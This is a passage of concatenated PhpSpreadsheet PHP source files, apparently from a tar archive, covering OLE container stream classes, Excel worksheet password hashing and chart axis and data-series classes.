$iB = ($iBbCnt - 1) - (($iBdCnt - $i1stBdL) % ($iBbCnt - 1)); for ($i = 0; $i < $iB; ++$i) { fwrite($FILE, pack('V', -1)); } } fwrite($FILE, pack('V', -2)); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/OLE/PPS/File.php000064400000004225151676714400021131 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\OLE\PPS; // vim: set expandtab tabstop=4 shiftwidth=4: // +----------------------------------------------------------------------+ // | PHP Version 4 | // +----------------------------------------------------------------------+ // | Copyright (c) 1997-2002 The PHP Group | // +----------------------------------------------------------------------+ // | This source file is subject to version 2.02 of the PHP license, | // | that is bundled with this package in the file LICENSE, and is | // | available at through the world-wide-web at | // | http://www.php.net/license/2_02.txt. | // | If you did not receive a copy of the PHP license and are unable to | // | obtain it through the world-wide-web, please send a note to | // | license@php.net so we can mail you a copy immediately. | // +----------------------------------------------------------------------+ // | Author: Xavier Noguer <xnoguer@php.net> | // | Based on OLE::Storage_Lite by Kawai, Takanori | // +----------------------------------------------------------------------+ // use PhpOffice\PhpSpreadsheet\Shared\OLE; use PhpOffice\PhpSpreadsheet\Shared\OLE\PPS; /** * Class for creating File PPS's for OLE containers. * * @author Xavier Noguer <xnoguer@php.net> */ class File extends PPS { /** * The constructor. * * @param string $name The name of the file (in Unicode) * * @see OLE::ascToUcs() */ public function __construct(string $name) { parent::__construct(null, $name, OLE::OLE_PPS_TYPE_FILE, null, null, null, null, null, '', []); } /** * Initialization method. Has to be called right after OLE_PPS_File(). */ public function init(): bool { return true; } /** * Append data to PPS. * * @param string $data The data to append */ public function append(string $data): void { $this->_data .= $data; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/OLE/ChainedBlockStream.php000064400000013343151676714400023273 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\OLE; use PhpOffice\PhpSpreadsheet\Shared\OLE; class ChainedBlockStream { /** @var mixed */ public $context; /** * The OLE container of the file that is being read. */ public ?OLE $ole = null; /** * Parameters specified by fopen(). */ public array $params = []; /** * The binary data of the file. */ public string $data; /** * The file pointer. * * @var int byte offset */ public int $pos = 0; /** * Implements support for fopen(). * For creating streams using this wrapper, use OLE_PPS_File::getStream(). * * @param string $path resource name including scheme, e.g. * ole-chainedblockstream://oleInstanceId=1 * @param string $mode only "r" is supported * @param int $options mask of STREAM_REPORT_ERRORS and STREAM_USE_PATH * @param ?string $openedPath absolute path of the opened stream (out parameter) * * @return bool true on success */ public function stream_open(string $path, string $mode, int $options, ?string &$openedPath): bool // @codingStandardsIgnoreLine { if ($mode[0] !== 'r') { if ($options & STREAM_REPORT_ERRORS) { trigger_error('Only reading is supported', E_USER_WARNING); } return false; } // 25 is length of "ole-chainedblockstream://" parse_str(substr($path, 25), $this->params); if (!isset($this->params['oleInstanceId'], $this->params['blockId'], $GLOBALS['_OLE_INSTANCES'][$this->params['oleInstanceId']])) { if ($options & STREAM_REPORT_ERRORS) { trigger_error('OLE stream not found', E_USER_WARNING); } return false; } $this->ole = $GLOBALS['_OLE_INSTANCES'][$this->params['oleInstanceId']]; $blockId = $this->params['blockId']; $this->data = ''; if (isset($this->params['size']) && $this->params['size'] < $this->ole->bigBlockThreshold && $blockId != $this->ole->root->startBlock) { // Block id refers to small blocks $rootPos = $this->ole->getBlockOffset($this->ole->root->startBlock); while ($blockId != -2) { $pos = $rootPos + $blockId * $this->ole->bigBlockSize; $blockId = $this->ole->sbat[$blockId]; fseek($this->ole->_file_handle, $pos); $this->data .= fread($this->ole->_file_handle, $this->ole->bigBlockSize); } } else { // Block id refers to big blocks while ($blockId != -2) { $pos = $this->ole->getBlockOffset($blockId); fseek($this->ole->_file_handle, $pos); $this->data .= fread($this->ole->_file_handle, $this->ole->bigBlockSize); $blockId = $this->ole->bbat[$blockId]; } } if (isset($this->params['size'])) { $this->data = substr($this->data, 0, $this->params['size']); } if ($options & STREAM_USE_PATH) { $openedPath = $path; } return true; } /** * Implements support for fclose(). */ public function stream_close(): void // @codingStandardsIgnoreLine { $this->ole = null; unset($GLOBALS['_OLE_INSTANCES']); } /** * Implements support for fread(), fgets() etc. * * @param int $count maximum number of bytes to read * * @return false|string */ public function stream_read(int $count): bool|string // @codingStandardsIgnoreLine { if ($this->stream_eof()) { return false; } $s = substr($this->data, (int) $this->pos, $count); $this->pos += $count; return $s; } /** * Implements support for feof(). * * @return bool TRUE if the file pointer is at EOF; otherwise FALSE */ public function stream_eof(): bool // @codingStandardsIgnoreLine { return $this->pos >= strlen($this->data); } /** * Returns the position of the file pointer, i.e. its offset into the file * stream. Implements support for ftell(). */ public function stream_tell(): int // @codingStandardsIgnoreLine { return $this->pos; } /** * Implements support for fseek(). * * @param int $offset byte offset * @param int $whence SEEK_SET, SEEK_CUR or SEEK_END */ public function stream_seek(int $offset, int $whence): bool // @codingStandardsIgnoreLine { if ($whence == SEEK_SET && $offset >= 0) { $this->pos = $offset; } elseif ($whence == SEEK_CUR && -$offset <= $this->pos) { $this->pos += $offset; } elseif ($whence == SEEK_END && -$offset <= count($this->data)) { // @phpstan-ignore-line $this->pos = strlen($this->data) + $offset; } else { return false; } return true; } /** * Implements support for fstat(). Currently the only supported field is * "size". */ public function stream_stat(): array // @codingStandardsIgnoreLine { return [ 'size' => strlen($this->data), ]; } // Methods used by stream_wrapper_register() that are not implemented: // bool stream_flush ( void ) // int stream_write ( string data ) // bool rename ( string path_from, string path_to ) // bool mkdir ( string path, int mode, int options ) // bool rmdir ( string path, int options ) // bool dir_opendir ( string path, int options ) // array url_stat ( string path, int flags ) // string dir_readdir ( void ) // bool dir_rewinddir ( void ) // bool dir_closedir ( void ) } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/OLE/PPS.php000064400000015642151676714400020257 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared\OLE; // vim: set expandtab tabstop=4 shiftwidth=4: // +----------------------------------------------------------------------+ // | PHP Version 4 | // +----------------------------------------------------------------------+ // | Copyright (c) 1997-2002 The PHP Group | // +----------------------------------------------------------------------+ // | This source file is subject to version 2.02 of the PHP license, | // | that is bundled with this package in the file LICENSE, and is | // | available at through the world-wide-web at | // | http://www.php.net/license/2_02.txt. | // | If you did not receive a copy of the PHP license and are unable to | // | obtain it through the world-wide-web, please send a note to | // | license@php.net so we can mail you a copy immediately. | // +----------------------------------------------------------------------+ // | Author: Xavier Noguer <xnoguer@php.net> | // | Based on OLE::Storage_Lite by Kawai, Takanori | // +----------------------------------------------------------------------+ // use PhpOffice\PhpSpreadsheet\Shared\OLE; /** * Class for creating PPS's for OLE containers. * * @author Xavier Noguer <xnoguer@php.net> */ class PPS { private const ALL_ONE_BITS = (PHP_INT_SIZE > 4) ? 0xFFFFFFFF : -1; /** * The PPS index. */ public int $No; /** * The PPS name (in Unicode). */ public string $Name; /** * The PPS type. Dir, Root or File. */ public int $Type; /** * The index of the previous PPS. */ public int $PrevPps; /** * The index of the next PPS. */ public int $NextPps; /** * The index of it's first child if this is a Dir or Root PPS. */ public int $DirPps; /** * A timestamp. */ public float|int $Time1st; /** * A timestamp. */ public float|int $Time2nd; /** * Starting block (small or big) for this PPS's data inside the container. */ public ?int $startBlock = null; /** * The size of the PPS's data (in bytes). */ public int $Size; /** * The PPS's data (only used if it's not using a temporary file). */ public string $_data = ''; /** * Array of child PPS's (only used by Root and Dir PPS's). */ public array $children = []; /** * Pointer to OLE container. */ public OLE $ole; /** * The constructor. * * @param ?int $No The PPS index * @param ?string $name The PPS name * @param ?int $type The PPS type. Dir, Root or File * @param ?int $prev The index of the previous PPS * @param ?int $next The index of the next PPS * @param ?int $dir The index of it's first child if this is a Dir or Root PPS * @param null|float|int $time_1st A timestamp * @param null|float|int $time_2nd A timestamp * @param ?string $data The (usually binary) source data of the PPS * @param array $children Array containing children PPS for this PPS */ public function __construct(?int $No, ?string $name, ?int $type, ?int $prev, ?int $next, ?int $dir, $time_1st, $time_2nd, ?string $data, array $children) { $this->No = (int) $No; $this->Name = (string) $name; $this->Type = (int) $type; $this->PrevPps = (int) $prev; $this->NextPps = (int) $next; $this->DirPps = (int) $dir; $this->Time1st = $time_1st ?? 0; $this->Time2nd = $time_2nd ?? 0; $this->_data = (string) $data; $this->children = $children; $this->Size = strlen((string) $data); } /** * Returns the amount of data saved for this PPS. * * @return int The amount of data (in bytes) */ public function getDataLen(): int { //if (!isset($this->_data)) { // return 0; //} return strlen($this->_data); } /** * Returns a string with the PPS's WK (What is a WK?). * * @return string The binary string */ public function getPpsWk(): string { $ret = str_pad($this->Name, 64, "\x00"); $ret .= pack('v', strlen($this->Name) + 2) // 66 . pack('c', $this->Type) // 67 . pack('c', 0x00) //UK // 68 . pack('V', $this->PrevPps) //Prev // 72 . pack('V', $this->NextPps) //Next // 76 . pack('V', $this->DirPps) //Dir // 80 . "\x00\x09\x02\x00" // 84 . "\x00\x00\x00\x00" // 88 . "\xc0\x00\x00\x00" // 92 . "\x00\x00\x00\x46" // 96 // Seems to be ok only for Root . "\x00\x00\x00\x00" // 100 . OLE::localDateToOLE($this->Time1st) // 108 . OLE::localDateToOLE($this->Time2nd) // 116 . pack('V', $this->startBlock ?? 0) // 120 . pack('V', $this->Size) // 124 . pack('V', 0); // 128 return $ret; } /** * Updates index and pointers to previous, next and children PPS's for this * PPS. I don't think it'll work with Dir PPS's. * * @param array $raList Reference to the array of PPS's for the whole OLE * container * * @return int The index for this PPS */ public static function savePpsSetPnt(array &$raList, mixed $to_save, int $depth = 0): int { if (!is_array($to_save) || (empty($to_save))) { return self::ALL_ONE_BITS; } elseif (count($to_save) == 1) { $cnt = count($raList); // If the first entry, it's the root... Don't clone it! $raList[$cnt] = ($depth == 0) ? $to_save[0] : clone $to_save[0]; $raList[$cnt]->No = $cnt; $raList[$cnt]->PrevPps = self::ALL_ONE_BITS; $raList[$cnt]->NextPps = self::ALL_ONE_BITS; $raList[$cnt]->DirPps = self::savePpsSetPnt($raList, @$raList[$cnt]->children, $depth++); } else { $iPos = (int) floor(count($to_save) / 2); $aPrev = array_slice($to_save, 0, $iPos); $aNext = array_slice($to_save, $iPos + 1); $cnt = count($raList); // If the first entry, it's the root... Don't clone it! $raList[$cnt] = ($depth == 0) ? $to_save[$iPos] : clone $to_save[$iPos]; $raList[$cnt]->No = $cnt; $raList[$cnt]->PrevPps = self::savePpsSetPnt($raList, $aPrev, $depth++); $raList[$cnt]->NextPps = self::savePpsSetPnt($raList, $aNext, $depth++); $raList[$cnt]->DirPps = self::savePpsSetPnt($raList, @$raList[$cnt]->children, $depth++); } return $cnt; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/PasswordHasher.php000064400000007431151676714400022130 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Exception as SpException; use PhpOffice\PhpSpreadsheet\Worksheet\Protection; class PasswordHasher { const MAX_PASSWORD_LENGTH = 255; /** * Get algorithm name for PHP. */ private static function getAlgorithm(string $algorithmName): string { if (!$algorithmName) { return ''; } // Mapping between algorithm name in Excel and algorithm name in PHP $mapping = [ Protection::ALGORITHM_MD2 => 'md2', Protection::ALGORITHM_MD4 => 'md4', Protection::ALGORITHM_MD5 => 'md5', Protection::ALGORITHM_SHA_1 => 'sha1', Protection::ALGORITHM_SHA_256 => 'sha256', Protection::ALGORITHM_SHA_384 => 'sha384', Protection::ALGORITHM_SHA_512 => 'sha512', Protection::ALGORITHM_RIPEMD_128 => 'ripemd128', Protection::ALGORITHM_RIPEMD_160 => 'ripemd160', Protection::ALGORITHM_WHIRLPOOL => 'whirlpool', ]; if (array_key_exists($algorithmName, $mapping)) { return $mapping[$algorithmName]; } throw new SpException('Unsupported password algorithm: ' . $algorithmName); } /** * Create a password hash from a given string. * * This method is based on the spec at: * https://interoperability.blob.core.windows.net/files/MS-OFFCRYPTO/[MS-OFFCRYPTO].pdf * 2.3.7.1 Binary Document Password Verifier Derivation Method 1 * * It replaces a method based on the algorithm provided by * Daniel Rentz of OpenOffice and the PEAR package * Spreadsheet_Excel_Writer by Xavier Noguer <xnoguer@rezebra.com>. * * @param string $password Password to hash */ private static function defaultHashPassword(string $password): string { $verifier = 0; $pwlen = strlen($password); $passwordArray = pack('c', $pwlen) . $password; for ($i = $pwlen; $i >= 0; --$i) { $intermediate1 = (($verifier & 0x4000) === 0) ? 0 : 1; $intermediate2 = 2 * $verifier; $intermediate2 = $intermediate2 & 0x7FFF; $intermediate3 = $intermediate1 | $intermediate2; $verifier = $intermediate3 ^ ord($passwordArray[$i]); } $verifier ^= 0xCE4B; return strtoupper(dechex($verifier)); } /** * Create a password hash from a given string by a specific algorithm. * * 2.4.2.4 ISO Write Protection Method * * @see https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/1357ea58-646e-4483-92ef-95d718079d6f * * @param string $password Password to hash * @param string $algorithm Hash algorithm used to compute the password hash value * @param string $salt Pseudorandom string * @param int $spinCount Number of times to iterate on a hash of a password * * @return string Hashed password */ public static function hashPassword(string $password, string $algorithm = '', string $salt = '', int $spinCount = 10000): string { if (strlen($password) > self::MAX_PASSWORD_LENGTH) { throw new SpException('Password exceeds ' . self::MAX_PASSWORD_LENGTH . ' characters'); } $phpAlgorithm = self::getAlgorithm($algorithm); if (!$phpAlgorithm) { return self::defaultHashPassword($password); } $saltValue = base64_decode($salt); $encodedPassword = mb_convert_encoding($password, 'UCS-2LE', 'UTF-8'); $hashValue = hash($phpAlgorithm, $saltValue . $encodedPassword, true); for ($i = 0; $i < $spinCount; ++$i) { $hashValue = hash($phpAlgorithm, $hashValue . pack('L', $i), true); } return base64_encode($hashValue); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Axis.php000064400000023523151676714400017732 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; /** * Created by PhpStorm. * User: Wiktor Trzonkowski * Date: 6/17/14 * Time: 12:11 PM. */ class Axis extends Properties { const AXIS_TYPE_CATEGORY = 'catAx'; const AXIS_TYPE_DATE = 'dateAx'; const AXIS_TYPE_VALUE = 'valAx'; const TIME_UNIT_DAYS = 'days'; const TIME_UNIT_MONTHS = 'months'; const TIME_UNIT_YEARS = 'years'; public function __construct() { parent::__construct(); $this->fillColor = new ChartColor(); } /** * Chart Major Gridlines as. */ private ?GridLines $majorGridlines = null; /** * Chart Minor Gridlines as. */ private ?GridLines $minorGridlines = null; /** * Axis Number. * * @var mixed[] */ private array $axisNumber = [ 'format' => self::FORMAT_CODE_GENERAL, 'source_linked' => 1, 'numeric' => null, ]; private string $axisType = ''; private ?AxisText $axisText = null; private ?Title $dispUnitsTitle = null; /** * Axis Options. * * @var array<string, null|string> */ private array $axisOptions = [ 'minimum' => null, 'maximum' => null, 'major_unit' => null, 'minor_unit' => null, 'orientation' => self::ORIENTATION_NORMAL, 'minor_tick_mark' => self::TICK_MARK_NONE, 'major_tick_mark' => self::TICK_MARK_NONE, 'axis_labels' => self::AXIS_LABELS_NEXT_TO, 'horizontal_crosses' => self::HORIZONTAL_CROSSES_AUTOZERO, 'horizontal_crosses_value' => null, 'textRotation' => null, 'hidden' => null, 'majorTimeUnit' => self::TIME_UNIT_YEARS, 'minorTimeUnit' => self::TIME_UNIT_MONTHS, 'baseTimeUnit' => self::TIME_UNIT_DAYS, 'logBase' => null, 'dispUnitsBuiltIn' => null, ]; public const DISP_UNITS_HUNDREDS = 'hundreds'; public const DISP_UNITS_THOUSANDS = 'thousands'; public const DISP_UNITS_TEN_THOUSANDS = 'tenThousands'; public const DISP_UNITS_HUNDRED_THOUSANDS = 'hundredThousands'; public const DISP_UNITS_MILLIONS = 'millions'; public const DISP_UNITS_TEN_MILLIONS = 'tenMillions'; public const DISP_UNITS_HUNDRED_MILLIONS = 'hundredMillions'; public const DISP_UNITS_BILLIONS = 'billions'; public const DISP_UNITS_TRILLIONS = 'trillions'; public const TRILLION_INDEX = (PHP_INT_SIZE > 4) ? 1000000000000 : '1000000000000'; public const DISP_UNITS_BUILTIN_INT = [ 100 => self::DISP_UNITS_HUNDREDS, 1000 => self::DISP_UNITS_THOUSANDS, 10000 => self::DISP_UNITS_TEN_THOUSANDS, 100000 => self::DISP_UNITS_HUNDRED_THOUSANDS, 1000000 => self::DISP_UNITS_MILLIONS, 10000000 => self::DISP_UNITS_TEN_MILLIONS, 100000000 => self::DISP_UNITS_HUNDRED_MILLIONS, 1000000000 => self::DISP_UNITS_BILLIONS, self::TRILLION_INDEX => self::DISP_UNITS_TRILLIONS, // overflow for 32-bit ]; /** * Fill Properties. */ private ChartColor $fillColor; private const NUMERIC_FORMAT = [ Properties::FORMAT_CODE_NUMBER, Properties::FORMAT_CODE_DATE, Properties::FORMAT_CODE_DATE_ISO8601, ]; private bool $noFill = false; /** * Get Series Data Type. */ public function setAxisNumberProperties(string $format_code, ?bool $numeric = null, int $sourceLinked = 0): void { $format = $format_code; $this->axisNumber['format'] = $format; $this->axisNumber['source_linked'] = $sourceLinked; if (is_bool($numeric)) { $this->axisNumber['numeric'] = $numeric; } elseif (in_array($format, self::NUMERIC_FORMAT, true)) { $this->axisNumber['numeric'] = true; } } /** * Get Axis Number Format Data Type. */ public function getAxisNumberFormat(): string { return $this->axisNumber['format']; } /** * Get Axis Number Source Linked. */ public function getAxisNumberSourceLinked(): string { return (string) $this->axisNumber['source_linked']; } public function getAxisIsNumericFormat(): bool { return $this->axisType === self::AXIS_TYPE_DATE || (bool) $this->axisNumber['numeric']; } public function setAxisOption(string $key, null|float|int|string $value): void { if ($value !== null && $value !== '') { $this->axisOptions[$key] = (string) $value; } } /** * Set Axis Options Properties. */ public function setAxisOptionsProperties( string $axisLabels, ?string $horizontalCrossesValue = null, ?string $horizontalCrosses = null, ?string $axisOrientation = null, ?string $majorTmt = null, ?string $minorTmt = null, null|float|int|string $minimum = null, null|float|int|string $maximum = null, null|float|int|string $majorUnit = null, null|float|int|string $minorUnit = null, null|float|int|string $textRotation = null, ?string $hidden = null, ?string $baseTimeUnit = null, ?string $majorTimeUnit = null, ?string $minorTimeUnit = null, null|float|int|string $logBase = null, ?string $dispUnitsBuiltIn = null ): void { $this->axisOptions['axis_labels'] = $axisLabels; $this->setAxisOption('horizontal_crosses_value', $horizontalCrossesValue); $this->setAxisOption('horizontal_crosses', $horizontalCrosses); $this->setAxisOption('orientation', $axisOrientation); $this->setAxisOption('major_tick_mark', $majorTmt); $this->setAxisOption('minor_tick_mark', $minorTmt); $this->setAxisOption('minimum', $minimum); $this->setAxisOption('maximum', $maximum); $this->setAxisOption('major_unit', $majorUnit); $this->setAxisOption('minor_unit', $minorUnit); $this->setAxisOption('textRotation', $textRotation); $this->setAxisOption('hidden', $hidden); $this->setAxisOption('baseTimeUnit', $baseTimeUnit); $this->setAxisOption('majorTimeUnit', $majorTimeUnit); $this->setAxisOption('minorTimeUnit', $minorTimeUnit); $this->setAxisOption('logBase', $logBase); $this->setAxisOption('dispUnitsBuiltIn', $dispUnitsBuiltIn); } /** * Get Axis Options Property. */ public function getAxisOptionsProperty(string $property): ?string { if ($property === 'textRotation') { if ($this->axisText !== null) { if ($this->axisText->getRotation() !== null) { return (string) $this->axisText->getRotation(); } } } return $this->axisOptions[$property]; } /** * Set Axis Orientation Property. */ public function setAxisOrientation(string $orientation): void { $this->axisOptions['orientation'] = (string) $orientation; } public function getAxisType(): string { return $this->axisType; } public function setAxisType(string $type): self { if ($type === self::AXIS_TYPE_CATEGORY || $type === self::AXIS_TYPE_VALUE || $type === self::AXIS_TYPE_DATE) { $this->axisType = $type; } else { $this->axisType = ''; } return $this; } /** * Set Fill Property. */ public function setFillParameters(?string $color, ?int $alpha = null, ?string $AlphaType = ChartColor::EXCEL_COLOR_TYPE_RGB): void { $this->fillColor->setColorProperties($color, $alpha, $AlphaType); } /** * Get Fill Property. */ public function getFillProperty(string $property): string { return (string) $this->fillColor->getColorProperty($property); } public function getFillColorObject(): ChartColor { return $this->fillColor; } private string $crossBetween = ''; // 'between' or 'midCat' might be better public function setCrossBetween(string $crossBetween): self { $this->crossBetween = $crossBetween; return $this; } public function getCrossBetween(): string { return $this->crossBetween; } public function getMajorGridlines(): ?GridLines { return $this->majorGridlines; } public function getMinorGridlines(): ?GridLines { return $this->minorGridlines; } public function setMajorGridlines(?GridLines $gridlines): self { $this->majorGridlines = $gridlines; return $this; } public function setMinorGridlines(?GridLines $gridlines): self { $this->minorGridlines = $gridlines; return $this; } public function getAxisText(): ?AxisText { return $this->axisText; } public function setAxisText(?AxisText $axisText): self { $this->axisText = $axisText; return $this; } public function setNoFill(bool $noFill): self { $this->noFill = $noFill; return $this; } public function getNoFill(): bool { return $this->noFill; } public function setDispUnitsTitle(?Title $dispUnitsTitle): self { $this->dispUnitsTitle = $dispUnitsTitle; return $this; } public function getDispUnitsTitle(): ?Title { return $this->dispUnitsTitle; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { parent::__clone(); $this->majorGridlines = ($this->majorGridlines === null) ? null : clone $this->majorGridlines; $this->majorGridlines = ($this->minorGridlines === null) ? null : clone $this->minorGridlines; $this->axisText = ($this->axisText === null) ? null : clone $this->axisText; $this->dispUnitsTitle = ($this->dispUnitsTitle === null) ? null : clone $this->dispUnitsTitle; $this->fillColor = clone $this->fillColor; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/DataSeriesValues.php000064400000033723151676714400022235 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class DataSeriesValues extends Properties { const DATASERIES_TYPE_STRING = 'String'; const DATASERIES_TYPE_NUMBER = 'Number'; private const DATA_TYPE_VALUES = [ self::DATASERIES_TYPE_STRING, self::DATASERIES_TYPE_NUMBER, ]; /** * Series Data Type. */ private string $dataType; /** * Series Data Source. */ private ?string $dataSource; /** * Format Code. */ private ?string $formatCode; /** * Series Point Marker. */ private ?string $pointMarker; private ChartColor $markerFillColor; private ChartColor $markerBorderColor; /** * Series Point Size. */ private int $pointSize = 3; /** * Point Count (The number of datapoints in the dataseries). */ private int $pointCount; /** * Data Values. */ private ?array $dataValues; /** * Fill color (can be array with colors if dataseries have custom colors). * * @var null|ChartColor|ChartColor[] */ private $fillColor; private bool $scatterLines = true; private bool $bubble3D = false; private ?Layout $labelLayout = null; /** @var TrendLine[] */ private array $trendLines = []; /** * Create a new DataSeriesValues object. * * @param null|ChartColor|ChartColor[]|string|string[] $fillColor */ public function __construct( string $dataType = self::DATASERIES_TYPE_NUMBER, ?string $dataSource = null, ?string $formatCode = null, int $pointCount = 0, ?array $dataValues = [], ?string $marker = null, null|ChartColor|array|string $fillColor = null, int|string $pointSize = 3 ) { parent::__construct(); $this->markerFillColor = new ChartColor(); $this->markerBorderColor = new ChartColor(); $this->setDataType($dataType); $this->dataSource = $dataSource; $this->formatCode = $formatCode; $this->pointCount = $pointCount; $this->dataValues = $dataValues; $this->pointMarker = $marker; if ($fillColor !== null) { $this->setFillColor($fillColor); } if (is_numeric($pointSize)) { $this->pointSize = (int) $pointSize; } } /** * Get Series Data Type. */ public function getDataType(): string { return $this->dataType; } /** * Set Series Data Type. * * @param string $dataType Datatype of this data series * Typical values are: * DataSeriesValues::DATASERIES_TYPE_STRING * Normally used for axis point values * DataSeriesValues::DATASERIES_TYPE_NUMBER * Normally used for chart data values * * @return $this */ public function setDataType(string $dataType): static { if (!in_array($dataType, self::DATA_TYPE_VALUES)) { throw new Exception('Invalid datatype for chart data series values'); } $this->dataType = $dataType; return $this; } /** * Get Series Data Source (formula). */ public function getDataSource(): ?string { return $this->dataSource; } /** * Set Series Data Source (formula). * * @return $this */ public function setDataSource(?string $dataSource): static { $this->dataSource = $dataSource; return $this; } /** * Get Point Marker. */ public function getPointMarker(): ?string { return $this->pointMarker; } /** * Set Point Marker. * * @return $this */ public function setPointMarker(string $marker): static { $this->pointMarker = $marker; return $this; } public function getMarkerFillColor(): ChartColor { return $this->markerFillColor; } public function getMarkerBorderColor(): ChartColor { return $this->markerBorderColor; } /** * Get Point Size. */ public function getPointSize(): int { return $this->pointSize; } /** * Set Point Size. * * @return $this */ public function setPointSize(int $size = 3): static { $this->pointSize = $size; return $this; } /** * Get Series Format Code. */ public function getFormatCode(): ?string { return $this->formatCode; } /** * Set Series Format Code. * * @return $this */ public function setFormatCode(string $formatCode): static { $this->formatCode = $formatCode; return $this; } /** * Get Series Point Count. */ public function getPointCount(): int { return $this->pointCount; } /** * Get fill color object. * * @return null|ChartColor|ChartColor[] */ public function getFillColorObject() { return $this->fillColor; } private function stringToChartColor(string $fillString): ChartColor { $value = $type = ''; if (str_starts_with($fillString, '*')) { $type = 'schemeClr'; $value = substr($fillString, 1); } elseif (str_starts_with($fillString, '/')) { $type = 'prstClr'; $value = substr($fillString, 1); } elseif ($fillString !== '') { $type = 'srgbClr'; $value = $fillString; $this->validateColor($value); } return new ChartColor($value, null, $type); } private function chartColorToString(ChartColor $chartColor): string { $type = (string) $chartColor->getColorProperty('type'); $value = (string) $chartColor->getColorProperty('value'); if ($type === '' || $value === '') { return ''; } if ($type === 'schemeClr') { return "*$value"; } if ($type === 'prstClr') { return "/$value"; } return $value; } /** * Get fill color. * * @return string|string[] HEX color or array with HEX colors */ public function getFillColor(): string|array { if ($this->fillColor === null) { return ''; } if (is_array($this->fillColor)) { $array = []; foreach ($this->fillColor as $chartColor) { $array[] = $this->chartColorToString($chartColor); } return $array; } return $this->chartColorToString($this->fillColor); } /** * Set fill color for series. * * @param ChartColor|ChartColor[]|string|string[] $color HEX color or array with HEX colors * * @return $this */ public function setFillColor($color): static { if (is_array($color)) { $this->fillColor = []; foreach ($color as $fillString) { if ($fillString instanceof ChartColor) { $this->fillColor[] = $fillString; } else { $this->fillColor[] = $this->stringToChartColor($fillString); } } } elseif ($color instanceof ChartColor) { $this->fillColor = $color; } else { $this->fillColor = $this->stringToChartColor($color); } return $this; } /** * Method for validating hex color. * * @param string $color value for color * * @return bool true if validation was successful */ private function validateColor(string $color): bool { if (!preg_match('/^[a-f0-9]{6}$/i', $color)) { throw new Exception(sprintf('Invalid hex color for chart series (color: "%s")', $color)); } return true; } /** * Get line width for series. */ public function getLineWidth(): null|float|int { return $this->lineStyleProperties['width']; } /** * Set line width for the series. * * @return $this */ public function setLineWidth(null|float|int $width): static { $this->lineStyleProperties['width'] = $width; return $this; } /** * Identify if the Data Series is a multi-level or a simple series. */ public function isMultiLevelSeries(): ?bool { if (!empty($this->dataValues)) { return is_array(array_values($this->dataValues)[0]); } return null; } /** * Return the level count of a multi-level Data Series. */ public function multiLevelCount(): int { $levelCount = 0; foreach (($this->dataValues ?? []) as $dataValueSet) { $levelCount = max($levelCount, count($dataValueSet)); } return $levelCount; } /** * Get Series Data Values. */ public function getDataValues(): ?array { return $this->dataValues; } /** * Get the first Series Data value. */ public function getDataValue(): mixed { if ($this->dataValues === null) { return null; } $count = count($this->dataValues); if ($count == 0) { return null; } elseif ($count == 1) { return $this->dataValues[0]; } return $this->dataValues; } /** * Set Series Data Values. * * @return $this */ public function setDataValues(array $dataValues): static { $this->dataValues = Functions::flattenArray($dataValues); $this->pointCount = count($dataValues); return $this; } public function refresh(Worksheet $worksheet, bool $flatten = true): void { if ($this->dataSource !== null) { $calcEngine = Calculation::getInstance($worksheet->getParent()); $newDataValues = Calculation::unwrapResult( $calcEngine->_calculateFormulaValue( '=' . $this->dataSource, null, $worksheet->getCell('A1') ) ); if ($flatten) { $this->dataValues = Functions::flattenArray($newDataValues); foreach ($this->dataValues as &$dataValue) { if (is_string($dataValue) && !empty($dataValue) && $dataValue[0] == '#') { $dataValue = 0.0; } } unset($dataValue); } else { [$worksheet, $cellRange] = Worksheet::extractSheetTitle($this->dataSource, true); $dimensions = Coordinate::rangeDimension(str_replace('$', '', $cellRange ?? '')); if (($dimensions[0] == 1) || ($dimensions[1] == 1)) { $this->dataValues = Functions::flattenArray($newDataValues); } else { $newArray = array_values(array_shift($newDataValues)); foreach ($newArray as $i => $newDataSet) { $newArray[$i] = [$newDataSet]; } foreach ($newDataValues as $newDataSet) { $i = 0; foreach ($newDataSet as $newDataVal) { array_unshift($newArray[$i++], $newDataVal); } } $this->dataValues = $newArray; } } $this->pointCount = count($this->dataValues); } } public function getScatterLines(): bool { return $this->scatterLines; } public function setScatterLines(bool $scatterLines): self { $this->scatterLines = $scatterLines; return $this; } public function getBubble3D(): bool { return $this->bubble3D; } public function setBubble3D(bool $bubble3D): self { $this->bubble3D = $bubble3D; return $this; } /** * Smooth Line. Must be specified for both DataSeries and DataSeriesValues. */ private bool $smoothLine = false; /** * Get Smooth Line. */ public function getSmoothLine(): bool { return $this->smoothLine; } /** * Set Smooth Line. * * @return $this */ public function setSmoothLine(bool $smoothLine): static { $this->smoothLine = $smoothLine; return $this; } public function getLabelLayout(): ?Layout { return $this->labelLayout; } public function setLabelLayout(?Layout $labelLayout): self { $this->labelLayout = $labelLayout; return $this; } public function setTrendLines(array $trendLines): self { $this->trendLines = $trendLines; return $this; } public function getTrendLines(): array { return $this->trendLines; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { parent::__clone(); $this->markerFillColor = clone $this->markerFillColor; $this->markerBorderColor = clone $this->markerBorderColor; if (is_array($this->fillColor)) { $fillColor = $this->fillColor; $this->fillColor = []; foreach ($fillColor as $color) { $this->fillColor[] = clone $color; } } elseif ($this->fillColor instanceof ChartColor) { $this->fillColor = clone $this->fillColor; } $this->labelLayout = ($this->labelLayout === null) ? null : clone $this->labelLayout; $trendLines = $this->trendLines; $this->trendLines = 